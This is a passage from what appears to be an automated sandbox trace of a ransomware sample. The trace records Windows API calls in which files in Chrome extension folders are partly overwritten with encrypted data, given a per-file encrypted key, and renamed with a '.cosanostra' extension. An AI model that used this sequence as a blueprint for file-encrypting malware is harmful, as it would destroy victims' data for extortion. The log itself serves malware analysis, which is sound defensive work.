"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.cosanostra")) returned 1 [0106.018] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eef8 | out: pbBuffer=0x251eef8) returned 1 [0106.018] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eef0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eef0*=0x30) returned 1 [0106.018] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0106.018] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css") returned 159 [0106.018] StrStrW (lpFirst="material_css_min.css", lpSrch=".txt") returned 0x0 [0106.020] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.020] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251eeb4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251eeb4*=0x2800, lpOverlapped=0x0) returned 1 [0106.021] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.021] WriteFile (in: hFile=0x15c, lpBuffer=0x251eef4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251eeb4, lpOverlapped=0x0 | out: lpBuffer=0x251eef4*, lpNumberOfBytesWritten=0x251eeb4*=0x4, lpOverlapped=0x0) returned 1 [0106.022] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251eeb4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251eeb4*=0x30, lpOverlapped=0x0) returned 1 [0106.022] CloseHandle (hObject=0x15c) returned 1 [0106.097] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css.cosanostra") returned 170 [0106.097] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css.cosanostra")) returned 1 [0106.098] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eef8 | out: pbBuffer=0x251eef8) returned 1 [0106.098] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eef0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eef0*=0x30) returned 1 [0106.098] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0106.121] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html") returned 152 [0106.122] StrStrW (lpFirst="feedback.html", lpSrch=".txt") returned 0x0 [0106.165] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.165] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251eeb4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251eeb4*=0x2800, lpOverlapped=0x0) returned 1 [0106.165] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.165] WriteFile (in: hFile=0x15c, lpBuffer=0x251eef4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251eeb4, lpOverlapped=0x0 | out: lpBuffer=0x251eef4*, lpNumberOfBytesWritten=0x251eeb4*=0x4, lpOverlapped=0x0) returned 1 [0106.270] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251eeb4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251eeb4*=0x30, lpOverlapped=0x0) returned 1 [0106.270] CloseHandle (hObject=0x15c) returned 1 [0106.271] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.cosanostra") returned 163 [0106.271] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.cosanostra")) returned 1 [0106.272] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eef0 | out: pbBuffer=0x251eef0) returned 1 [0106.272] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eee8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eee8*=0x30) returned 1 [0106.272] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0106.273] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned 151 [0106.273] StrStrW (lpFirst="feedback.css", lpSrch=".txt") returned 0x0 [0106.275] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffff3da, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.275] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0xc26, lpNumberOfBytesWritten=0x251eeac, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251eeac*=0xc26, lpOverlapped=0x0) returned 1 [0106.275] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.275] WriteFile (in: hFile=0x15c, lpBuffer=0x251eeec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251eeac, lpOverlapped=0x0 | out: lpBuffer=0x251eeec*, lpNumberOfBytesWritten=0x251eeac*=0x4, lpOverlapped=0x0) returned 1 [0106.275] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251eeac, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251eeac*=0x30, lpOverlapped=0x0) returned 1 [0106.275] CloseHandle (hObject=0x15c) returned 1 [0106.275] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.cosanostra") returned 162 [0106.276] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.cosanostra")) returned 1 [0106.277] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eef0 | out: pbBuffer=0x251eef0) returned 1 [0106.277] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eee8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eee8*=0x30) returned 1 [0106.277] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0106.278] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned 148 [0106.278] StrStrW (lpFirst="common.js", lpSrch=".txt") returned 0x0 [0106.297] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.297] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251eeac, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251eeac*=0x2800, lpOverlapped=0x0) returned 1 [0106.298] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.298] WriteFile (in: hFile=0x15c, lpBuffer=0x251eeec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251eeac, lpOverlapped=0x0 | out: lpBuffer=0x251eeec*, lpNumberOfBytesWritten=0x251eeac*=0x4, lpOverlapped=0x0) returned 1 [0106.329] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251eeac, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251eeac*=0x30, lpOverlapped=0x0) returned 1 [0106.329] CloseHandle (hObject=0x15c) returned 1 [0106.329] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.cosanostra") returned 159 [0106.329] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.cosanostra")) returned 1 [0106.332] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eee8 | out: pbBuffer=0x251eee8) returned 1 [0106.332] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eee0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eee0*=0x30) returned 1 [0106.332] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0106.333] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js") returned 166 [0106.333] StrStrW (lpFirst="view.js", lpSrch=".txt") returned 0x0 [0106.335] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffff6bb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.335] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x945, lpNumberOfBytesWritten=0x251eea4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251eea4*=0x945, lpOverlapped=0x0) returned 1 [0106.335] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.335] WriteFile (in: hFile=0x15c, lpBuffer=0x251eee4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251eea4, lpOverlapped=0x0 | out: lpBuffer=0x251eee4*, lpNumberOfBytesWritten=0x251eea4*=0x4, lpOverlapped=0x0) returned 1 [0106.335] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251eea4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251eea4*=0x30, lpOverlapped=0x0) returned 1 [0106.336] CloseHandle (hObject=0x15c) returned 1 [0106.336] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.cosanostra") returned 177 [0106.336] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.cosanostra")) returned 1 [0106.373] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eee0 | out: pbBuffer=0x251eee0) returned 1 [0106.373] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eed8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eed8*=0x30) returned 1 [0106.373] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0106.374] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned 168 [0106.374] StrStrW (lpFirst="view.html", lpSrch=".txt") returned 0x0 [0106.593] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffe8b4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.593] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x174c, lpNumberOfBytesWritten=0x251ee9c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251ee9c*=0x174c, lpOverlapped=0x0) returned 1 [0106.594] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.594] WriteFile (in: hFile=0x15c, lpBuffer=0x251eedc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ee9c, lpOverlapped=0x0 | out: lpBuffer=0x251eedc*, lpNumberOfBytesWritten=0x251ee9c*=0x4, lpOverlapped=0x0) returned 1 [0106.594] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ee9c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ee9c*=0x30, lpOverlapped=0x0) returned 1 [0106.594] CloseHandle (hObject=0x15c) returned 1 [0106.594] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.cosanostra") returned 179 [0106.594] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.cosanostra")) returned 1 [0106.763] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eed8 | out: pbBuffer=0x251eed8) returned 1 [0106.763] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eed0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eed0*=0x30) returned 1 [0106.764] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0106.764] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json") returned 159 [0106.765] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0106.770] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffd5f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.771] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2a1, lpNumberOfBytesWritten=0x251ee94, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251ee94*=0x2a1, lpOverlapped=0x0) returned 1 [0106.772] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.772] WriteFile (in: hFile=0x160, lpBuffer=0x251eed4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ee94, lpOverlapped=0x0 | out: lpBuffer=0x251eed4*, lpNumberOfBytesWritten=0x251ee94*=0x4, lpOverlapped=0x0) returned 1 [0106.772] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ee94, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ee94*=0x30, lpOverlapped=0x0) returned 1 [0106.773] CloseHandle (hObject=0x160) returned 1 [0106.773] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json.cosanostra") returned 170 [0106.773] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json.cosanostra")) returned 1 [0106.776] CryptGenRandom (in: hProv=0x215d98, 